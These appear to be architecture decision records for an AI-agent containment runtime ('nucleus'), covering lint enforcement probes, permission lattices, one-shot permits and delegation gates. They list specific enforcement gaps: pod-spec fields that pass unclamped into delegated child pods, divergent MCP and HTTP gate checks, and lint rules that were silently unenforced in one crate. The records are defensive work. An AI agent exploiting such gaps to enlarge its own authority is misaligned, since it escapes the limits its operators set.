1. The observe-set names the wrong API. OBSERVE_MARKERS is ["ifc_api::FlowTracker::observe", "FlowTracker::observe"], but nucleus-tool-proxy observes through FlowGraph::observe_with_content_hash — a different type. read_file and run_command both call ingest::http_observe_*, which reaches FlowGraph::observe*, and both are reported as unobserved. Adding FlowGraph::observe to the set was measured: 85 → 80. Real, and small.
2. There is no crate scope. The remaining 80 are the host runtime’s own infrastructure I/O reached through the dependency closure — build_mtls_config, load_last_hash, require_node_identity, build_audit_log — which is not agent-attributed ingest. This is exactly what mediated faced and answered with MEDIATED_CRATES in C6 phase 1b, and observed has no equivalent.

So wiring it is not “add a workflow block”: it needs the observe-set extended and a crate scope decided, each with its own probe. Recorded here with numbers so the next person starts from the measurement rather than from the assumption that a built lint is a cheap gate.

A-19 applies to every lint in this ADR

A lint ships only once it has been driven red on the commit its rule cites and green with the defect restored. A lint that has only ever passed proves nothing — the discipline gatehouse pins as UNCOVERED_CEILING = 0, and which this repository’s CLAUDE.md already adopts by reference.

Probe record for the two entries wired here, run 2026-09-11 on Rust 1.96.1:

# RED — inject the violation
$ printf 'fn adr0007_probe(x: u32) -> i32 { unsafe { std::mem::transmute(x) } }\n' \
    >> crates/nucleus-net-probe/src/main.rs
$ cargo clippy -p nucleus-net-probe --all-targets
warning: use of a disallowed method `std::mem::transmute`
  = note: `#[warn(clippy::disallowed_methods)]` on by default

# GREEN — restore
$ git checkout crates/nucleus-net-probe/src/main.rs
$ cargo clippy -p nucleus-net-probe --all-targets -- -D warnings
    Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.32s

This also establishes, empirically, that a clippy.toml at the workspace root resolves for workspace members — which the Clippy documentation does not state and which CARGO_MANIFEST_DIR being the member directory gives reason to doubt.

It resolves only for members that do not have their own. Clippy reads one configuration file — CLIPPY_CONF_DIR, else CARGO_MANIFEST_DIR — and the nearest clippy.toml wins outright. There is no merge. A member with its own config receives none of the root’s entries.

crates/nucleus-tool-proxy/clippy.toml has existed since #1216 to hold disallowed-types, and by existing it dropped the root’s disallowed-methods. So both entries wired above were not enforced in the crate that holds the HTTP and MCP effect boundary — measured by injecting a violation there and watching the crate compile, report the function as unused, and say nothing about transmute:

$ printf 'fn probe() { unsafe { std::env::set_var("P","1") }; }\n' \
    >> crates/nucleus-tool-proxy/src/egress.rs
$ cargo clippy -p nucleus-tool-proxy --all-targets --all-features
warning: function `probe` is never used     <- the crate IS being checked
                                            <- and disallowed_methods does NOT fire

This is I-1 firing against this ADR. Both entries measured zero occurrences tree-wide, so a green run and a run that never asked were the same observation — the vacuity A-2 names, in the gate that exists to prevent it. The probe above is a positive control: it is the thing the §Enforcement probe should have done in the crate it mattered most in.

The remedy is G-2 — where a second copy is unavoidable, the gate lives at the declaration. cargo xtask clippy-config compares every crate-level clippy.toml against the root’s and REDs on any dropped entry, naming the entry to add. Adding a root entry without restating it in a shadowing config is now a build failure rather than a silent hole.

Why only two entries are wired today

CI runs cargo clippy --all-targets --all-features -- -D warnings. A single existing violation — in test code as much as in production — reds the merge queue. So an entry is added only when the tree is already clean of it. Measured 2026-09-11:

H-1 was the next step and has landed, with the #[expect] at each of the 25 test sites and both paths in clippy.toml. It did not stay mechanical: the shadowing defect above was found while driving it red, which is what A-19 is for.

What the wired half does not cover

c05ee2af measured module privacy being re-opened on four types at once. Three things defeat a sealed constructor: unsafe field access, transmute, and a derived Deserialize. Only transmute is expressible as a clippy.toml entry. The other two need the proposed C-1 dylint, which must check the derive list as well as the constructor. Wiring one third of a rule and calling C-1 enforced would be exactly the error ADR 0006 is about, so it is written here instead.

Consequences

This ADR does not claim a majority. 58 of 252 records is 23%. The remaining 194 needed something these mandates cannot give: a plan-level predicate, a total language, an effect system, or nothing at all. Any claim that a style guide would have prevented most of this project’s defects is false, and the counts are recorded here so the claim cannot be made by omission.

They reach no effectful defect directly. 103 of 252 records are in code that spawns, syscalls, awaits or reads a clock. C-4 and D-2 fence that surface; they do not enter it.

No rule here addresses memory safety or undefined behaviour. 35 real unsafe blocks across 10 files, none of which appear in this corpus.

F-3 does not apply to the ratchets. .kani-minimum-proofs, .line-ratchet.toml, ci/required-checks.txt’s PINNED, and gatehouse’s CLAUSES / NOT_YET / UNCOVERED_CEILING are restated counts by design: they are two-directional pins whose purpose is to force a human decision when the population moves. F-3 is about a count restated where nothing requires the restatement to be revisited. The distinction is the direction of the obligation, and conflating them would delete the repository’s main anti-drift mechanism.

Nothing detects a mandate that was never written down. The same gap gatehouse’s CLAUDE.md names for the findings mandate applies here. This list catches what it enumerates; its own population is unpinned, deliberately, until the dylint targets above exist and a count means something.

ADR 0006 — Four collapses: the security surface is compositions of four objects, not sixty-five

• Status: accepted (2026-09-10); partially implemented (updated 2026-09-11). C0.1, C0.2, C1.1, C1.2, C2.0, C2.1 and C2.2 landed in d761b1ae6 (#2781) the day after this was written. C2.3–C2.5, C3.1–C3.2 and C4.1–C4.2 remain proposed; the Milestones table below is the per-row status. The original line read “Nothing in this ADR is implemented”, which stopped being true within a day and is exactly the drift this ADR is about — a document whose green is indistinguishable from vacuity.
• Tracks: the 2026-09-09 architectural audit; SECURITY_TODO.md items 17–30; PR #2778 (Tiers 1–2)
• Applies to: portcullis, portcullis-core, portcullis-effects, nucleus-ifc-kernel, nucleus, nucleus-node, nucleus-tool-proxy — the ~217k LOC dependency closure of nucleus-node

Context

An audit asked whether several of nucleus’s operational concepts are instances of shared algebraic objects. They mostly are. But the finding that mattered was not the algebra:

Most of those unifications are already built, several are machine-proved, and they are not wired to the enforcement path.

ProductLattice — the categorical product in Lat — had zero uses, while PermissionLattice is a hand-rolled six-factor product spelling meet/join/leq out by hand. Lean-proved MeetCap had zero production call sites, and Kernel::attenuate is that trait transcribed by hand, complete with a defensive leq re-check of the law the trait would have guaranteed. PathLattice::with_work_dir — the filesystem sandbox root — has eleven callers, every one a test, three of them the adversarial suites that prove path-traversal containment. They prove it of a configuration production never builds.

The repo already knew this class in two narrow places: docs/north-star.md demoted clause C9 because “the attested-cert producer is dead-code with its result discarded”, and scripts/check-extracted-callsites.sh (C8) gates it for the Aeneas predicates — “a predicate proven about a function nobody calls is a proof about dead code.” PR #2778 generalised that into a standing gate. This ADR is about the other half: why there were so many places for a mechanism to go unwired.

The measurement

Counted over the tree, not estimated:

And the shape of the test suite explains why none of it was caught: 342 of 7,033 tests are law-shaped (~5%). The rest are instance tests, which verify a mechanism and cannot see whether it is reached.

The failure mode these numbers produce

Every defect in items 17–30 is the same sentence with different nouns: a correct, tested, sometimes machine-proved pure function, called with the wrong argument or not called at all. require_isolation is right and got the wrong backend. attest_containment is right and lives in the wrong crate. record_tokens was a ceiling check named “record”. Kernel::with_isolation has no production caller, so two enforcement gates have never fired.

Instance tests cannot catch that class. Laws can, because a law is a statement about all paths rather than one.

Decision

Collapse the security surface onto four objects, each carrying one law and one gate.

$$\text{Principal} \xrightarrow{\ \text{Delegation}\ } \text{Authority} \xrightarrow{\ \text{Allocation}\ } \text{Permit⟨Act⟩} \xrightarrow{\ \text{Execution}\ } \text{Receipt}$$

Each arrow already has exactly one correct implementation, surrounded by imitations — which is why this is deletion and wiring, not design:

C1 — LedgerCore<Unit>: conservation

LedgerCore<const N> is generic over slot count only; the unit is hardcoded micro-USD down to LedgerError::InsufficientBudget’s field names. Make it generic over Unit and requantify the two existing Kani harnesses once.

• Law: Σ live child grants + consumed ≤ parent max, per unit.
• Gate: E1/E2 at Unit = u64 — but not by parametricity, which is what an earlier draft claimed. The candidates are not all u64/usize: they are u64, usize, u32, Decimal, f64, and one that stores money as a String. usize is not u64 on every target, so a proof at u64 does not transfer for free. It transfers via the Unit trait’s saturating-arithmetic laws, which is a stronger claim and has to be stated and discharged rather than assumed. Writing those laws down is part of C1, not a follow-up.
• Also part of C1: FORMAL_METHODS.md claims budget conservation runs on every PR. It does not — E1/E2 sit in the nightly kani-full lane. They are tiny (4 slots, u8 symbolics, unwind 8); putting them on kani-fast makes the claim true and is the cheapest honesty fix in this ADR.
• Do not force in: TTLs and token buckets (replenishment is a function of wall-clock, so Remaining is not conserved), VCG budgets (a knapsack; the interesting theorems are truthfulness and IR), the settlement split (refund is defined as the residual, so conservation is definitional and already Lean-proved). Jamming these in would weaken the one proof that currently works.

C2 — Act: the protected-boundary vocabulary

There is no targeted sum. There are two half-types: Operation (13 untargeted verbs — ReadFiles, not Read(path)) and SinkClass (19 targets), joined by an ad-hoc compatibility relation that leaves four sinks structurally unreachable. Because Operation carries no payload, subject: &str is threaded through 47 signatures and re-parsed by each gate — seven distinct parse implementations of one URL per web_fetch, using three different hand-rolled host extractors.

Call it Act, not Effect. Four things in the tree are already called some form of effect, and one of them is at an adjacent layer of this same design: portcullis::EffectId / EffectCatalog is ADR 0004’s open, data-driven, human-sized authority vocabulary that lowers to Operation + SinkClass + hosts. This collapse introduces a closed, typed, machine-sized sum underneath it. They are different objects and both are needed; reusing the name guarantees a reader mistakes one for the other. (nucleus-ifc-kernel::EffectKind, nucleus-policy-kernel::Effect — Permit/Forbid, a false friend — and portcullis_effects::EffectCall are the other three.)

• Shape: ~17 variants carrying their target, with operation() and sink_class() derived. 13 × 19 gives 247 pairs of which exactly 27 are admissible — a number the tree already pins as EARNABLE_PAIRS. Deriving the projection replaces operation_allowed_for_sink and makes the unreachable-sink class a derived fact rather than a hand-written table.
• Act wraps Operation/SinkClass; it does not replace them. Both carry pinned u8 discriminants with const _ assertions “for Aeneas”, are extracted across 12 generated Lean directories, and have 3,716 references in 147 Rust files including 32 exhaustive 13-arm matches. They stay as the fieldless, proof-facing core; Act is host-side and outside the extraction scope. This is the single decision that keeps C2 from breaking 27 Lean files.
• Law: every protected boundary crossing is an Act, and every handler takes the witness by value. The ~60 hardcoded (Operation, SinkClass) gate literals across six files become interpreters.
• The witness already exists four times over, and none carries the target. CheckProof (guard.rs:179) is the live MCP witness and holds only an Operation. Authority is affine but its scope is the untargeted pair. GuardedAction<A> is properly sealed and used nowhere outside its own module — check_operation returns GuardedAction<Operation> and check_path returns GuardedAction<String>, two proofs that are never combined. And Authorized<A> (enforcement.rs:272) is Clone + Copy with public fields and zero call sites, so it is both unsound as a witness and dead. C2 is largely the work of making one of these carry the Act and deleting the rest.
• Precedent: Executor::run_args takes an Authority by value (wrapping a sealed DischargedBundle) so that an un-preflighted spawn is a compile error, pinned by a compile_fail doctest. That trick works for one effect today; this generalises it to all of them. Note the same signature still carries a vestigial &DecisionToken checked only by debug_assert — the shape this collapse removes.

C3 — Ceiling / Permit / Voucher: linearity

21 types mean “this exceptional act may now happen”, and none satisfies all five. An earlier draft of this ADR claimed DeclassificationToken did. It does not: it derives Clone and Serialize (portcullis-core/src/declassify.rs:160), and every apply path takes &token (kernel/declassify_authority.rs:61,89,105; flow_graph.rs:1442,1506). It is unforgeable, request-bound and time-bound, but consume-once comes from an external burn ledger keyed on its signature — not from the type.

That correction is not a footnote; it is the design. The shape that token demonstrates is signed data plus an external ledger, and a permit that crosses a process or wire boundary cannot be affine, because Rust’s move semantics do not survive serialization. So the answer is three objects, not two:

Conflating any two of these is what produced 21 types, and a single Permit would repeat the mistake at a deeper level than the two-type split catches.

• Law: a Permit is spent exactly once by the type system; a Voucher is spent exactly once by one burn ledger. Today there are five correct, non-interoperating burn ledgers: the governed-release set in FlowGraph, two separate approval-nonce caches, JtiCache, and three one-shot AtomicBools in the workload API.
• Action = Act, which is why this follows C2.

Two claims from the earlier draft are withdrawn. max_uses is not an unread field — it is wired end to end (approval_bundle.rs:136 → main.rs:849 → ApprovalRegistry::{approve,consume}, seven live call sites, and a test). The genuinely unread fields beside it are attestation_hash and drand_round. And SessionCleanseToken, despite a doc comment calling it sealed and unforgeable, is taken by & at both call sites and never consumed.

C4 — Authority as a product order: attenuation

PermissionLattice already implements Lattice, so MeetCap<PermissionLattice> typechecks today; nothing constructs one. Ten dimensions are inside the order and ~21 are outside, enforced ad hoc.

The bug generator is visible in create_sub_pod: step 4 clamps policy through the lattice, 4b strips workload (“the delegation ceiling does not clamp it”), 4c clamps credentialed_egress (“a spec field the delegation ceiling does not cover”) — and there is no 4d. Twelve fields ride through unclamped into the serialized child spec: work_dir, timeout_seconds, budget_model, resources, network, image, vsock, seccomp, cgroup, audit_sink, metadata.labels and metadata.task_grant_id. That enumeration is the security boundary, maintained by hand, and the comment at 4b says the quiet part: authority “must be made deliberately, not inherited from a field being added.”

The two guards that watch it are create_sub_pod_still_clamps_credentialed_egress and create_sub_pod_always_narrows_and_reserves — both of which grep the function’s own source text for the three calls. They can notice a call being deleted. They structurally cannot notice a thirteenth field being added, which is the only way this defect has ever actually occurred.

• Law: delegate(p, r) ≼ p, one Attenuating trait, one meet.
• Mechanism, not vigilance: create_sub_pod destructures PodSpecInner exhaustively, so adding a field to the spec is a compile error in the delegation path until someone decides what it means. That is the same move EARNABLE_PAIRS and the exact ratchets already make elsewhere: turn a thing somebody has to remember into a thing the compiler refuses.
• Warning from item 20: adding a dimension to the signed lattice means certificate-hash coverage and a domain-tag bump. Budget for it; the alternative is an unsigned field a holder can reset, which is the hole consumed_usd’s comment already describes.

Sequence

C0 → C1 → C2 → C3 → C4.

C0 first, and it is not a collapse: the standing gates that stop the surface growing while the rest lands. Without them, months of collapse work races new unwired mechanisms into the tree faster than it removes them.

LedgerCore<Unit> next as the proving run: mechanical, self-contained, one production consumer, zero live-path behaviour change. It extends two Kani harnesses to cover every quantity that satisfies the Unit laws — which is the claim C1 has to discharge rather than assume. It establishes the pattern — collapse, law, gate — on the item with the least blast radius.

Act second because it is the keystone: an authorized Act is what makes the reachability analysis below meaningful, and Permit<Action> wants Action = Act.

Authority last, not because it matters least — it deletes the most bespoke code — but because it has the largest surface and the most signature churn, and by then the gates and the discipline exist.

The capstone this unlocks

Once effect methods take an authorized Act by value, that type is a dominance proof, and a dylint pass over MIR can decide the real question:

for every agent-reachable entry point and every protected effect, does the effect’s gate dominate it on all paths?

failing with the concrete offending call path when an effect is reachable without its gate, when two paths to one effect discharge different gate sets, or when a gate is present but inert. That gate subsumes essentially every finding in items 17–30 — and unlike the manifest in PR #2778, it is derived, so it cannot be incomplete by omission. It is out of scope here and depends on C2.

First consumer

nucleus-tool-proxy’s HTTP and MCP handlers. They are the pair that already demonstrates the defect: the same effects, reached by two paths, discharging different gate sets. mcp.rs never names CertifiedPermissions and never calls state.ceiling(...); main.rs does both, at six sites. The MCP guard is a process-level Arc<RwLock<Option<_>>> on AppState, so it structurally cannot carry per-request attenuation — this is not a forgotten argument but a shape that has nowhere to put one. Meanwhile MCP adds a guard.check HTTP lacks. Neither path is a superset of the other. Under C2/C3 that divergence is not a bug to find; it is un-writable.

That gap is live today and does not wait for the collapse: it is the first PR of the C2 stack, not its last.

Consequences

Honest scope. This is months, across the live enforcement path, and each collapse should land as its own stack with its law and gate, never as one change.

An earlier draft said it should not start while the merge queue is serial and contended. That is the wrong constraint, and the measurement says so: the queue is strictly serial (max_entries_to_build: 1) and still merged 100+ PRs in ten days. What actually gates throughput is per-PR size — median +150 lines on main, p90 +747. So the rule is not wait; it is decompose. A collapse that arrives as one refactor will not clear the queue no matter how quiet it is.

What becomes derived. Roughly 15–25% of the security test surface — the combination tests and the parity mirrors. Not more: most of the 7,033 tests encode content (does this glob match, does this command pattern parse, does this certificate verify), which is irreducible and stays.

That undersells the value. The laws catch a class the instance tests structurally cannot, and it is the class every item in 17–30 belongs to: a correct, well-tested pure function called with the wrong argument, or not called at all. No amount of instance testing finds those. A totality law finds them at compile time.

A fourth honesty tier. docs/PROOFS.md separates PROVEN / TESTED / ATTESTED and its §5 names the extraction gap (“the proven model could differ from the running code”). The audit found a category it does not cover: PROVEN but not on the path. A wired? column, mechanically checked, would have caught most of items 17–30.

The tighten rule has a limit, learned the expensive way. Item 24 merged two disagreeing tables at the pointwise-strictest value and broke legitimate flows — flow_red_team showed Deterministic and HumanPromoted data denied at a git sink, which is what a verified sink exists to accept. Where two implementations disagree, the stricter value is not automatically the correct one; one of them may simply be wrong, and there it was the copy the discharge path never consulted. Merging to one decider is right. Assuming the strict side wins is not.

Rejected

A monad transformer tower. Already decided in docs/architecture/effect-sequencing-and-authority.md (2026-07-26) and not reopened: a tower flattens the two properties the design rests on — authority is graded, not ambient, and one-shot tokens are affine, while monads duplicate. Rust’s move semantics already give at-most-once for free; a monadic re-encoding trades that away.

Parity tests between duplicates instead of one decider. A parity test between two copies still leaves two copies, and makes the next drift a test failure rather than an impossibility. Item 24 deleted the duplicate tables rather than pinning them together, and that is the pattern.

One Permit type covering all 21. Standing ceilings and one-shot permits are different objects; merging them is the confusion that produced the 21.

Hand-maintained manifests as the primary mechanism. PR #2778’s law-mechanism manifest is a stopgap: it catches what someone thought to list. It stays as a debt ledger, not as the answer.

Doing this instead of Tier 1. The defects in items 17–30 are fixed on their own merits and did not wait for any of this. A collapse is how you stop generating them; it is not how you fix the ones already shipped.

Milestones

C0 is not one of the four collapses. It is the standing gates that stop the surface growing while they land — without it, months of collapse work races new unwired mechanisms into the tree.

Each row is a stack of PRs sized to the p90 above, not a single change. Live defects are folded into the collapse that owns the code, and sit at the front of their stack rather than the end.

The price of C4, stated in advance so it is budgeted rather than discovered. Adding one dimension to the signed lattice costs, measured from item 20’s fix: two canonical_permissions_hash insertions, a meet/join/leq triple with the order reversed for consumed quantities, two domain-tag bumps that invalidate every outstanding certificate, atomic cross-dimension consumption, and a rewrite inside the required OWASP LLM Security Gauntlet context.

ADR 0005 — Delegatable agency is the objective; containment is the constraint surface

• Status: accepted (2026-09-09)
• Extends: ADR 0004 (the delegation compiler), which stated this objective one level down and named two of its terms
• Applies to: NORTH_STAR.md, README.md, docs/index.md, docs/north-star.md, every future ADR, and the acceptance question on every pull request

Context

Nucleus has, until now, described itself only by its constraint. Four live and mutually unreferenced statements say the same kind of thing four ways:

Each is true. None says what the constraint is for. A reader can finish all four and still not know which of two proposed features nucleus should build, because the statements are all of the form “nothing bad happens”, and the feature that best satisfies “nothing bad happens” is the feature nobody can use.

That is not a rhetorical gap; it has cost real direction. The runtime accumulated a 13-dimension lattice, sink scopes, SPIFFE identity, budgets, egress policy, delegation chains, IFC labels and discharges, and the usability cost of being correct fell on the user until ADR 0004 — a year of enforcement work before one line asked how much work could actually get done inside the boundary. The project’s own ledger still records that question as open: docs/perf/RUBRIC-LEDGER.md rows 2 and 2b are unresolved FAIL rows in which a codegen pod could read no file in its sandbox and /work — the pod spec’s own work_dir — answered sandbox_escape. Every number nucleus publishes is a proof count, a denial count, or a latency.

ADR 0004 got half of the fix without naming it. Its DX north star —

Make least-privilege delegation feel easier than unrestricted execution.

— and its two invariants (ρ = A_granted / A_observably-required → 1; C(T) = 1 for a new task, 0 for a previously approved one) are not DX metrics. They are two terms of the project’s objective function, scoped to one command.

What the field looks like (September 2026)

The intersection this ADR claims is empty today, and each neighbour is empty in a different direction:

• Attenuating-capability engines — Tenuo (Apache-2.0, Rust, warrants signed and verified offline in under 50 µs, standardizing as draft-niyikiza-oauth-attenuating-agent-tokens) hold the delegation calculus and say so plainly: “Not a sandbox.” Isolation is left to containers or VMs.
• Agent sandboxes — E2B, Vercel Sandbox (GA January 2026), Modal, Daytona, Cloudflare — hold Firecracker/gVisor isolation and grant ambient authority inside the box: no attenuation, no delegation chain, no receipt.
• Papers hold the vocabulary without a product: Sovereign Execution Broker (certificate-bound runtime authority, no machine-checked proofs), AgentBound (governance receipts co-signed and replayable, no isolation), Insuring Every Action (an “Authority Frontier” and a Capital@k metric — authority released per unit of reserve capital), Verifiability-First Agents (an action attestation layer).
• Standards are unsettled. RFC 8693’s act / may_act is the only shipped delegation primitive; the agent-specific OAuth drafts are individual submissions; A2A v1.0 specifies subdelegation and is silent on how to downscope a credential, a gap the literature has named “authorization creep”.
• Demand is measured, and blocked on exactly this. Reported agent-pilot failure rates before production run 86–89%, attributed to governance and traceability rather than model capability; roughly three-quarters of deployments run with human-in-the-loop checkpoints. The recurring diagnosis is teams relying on observability instead of enforcement.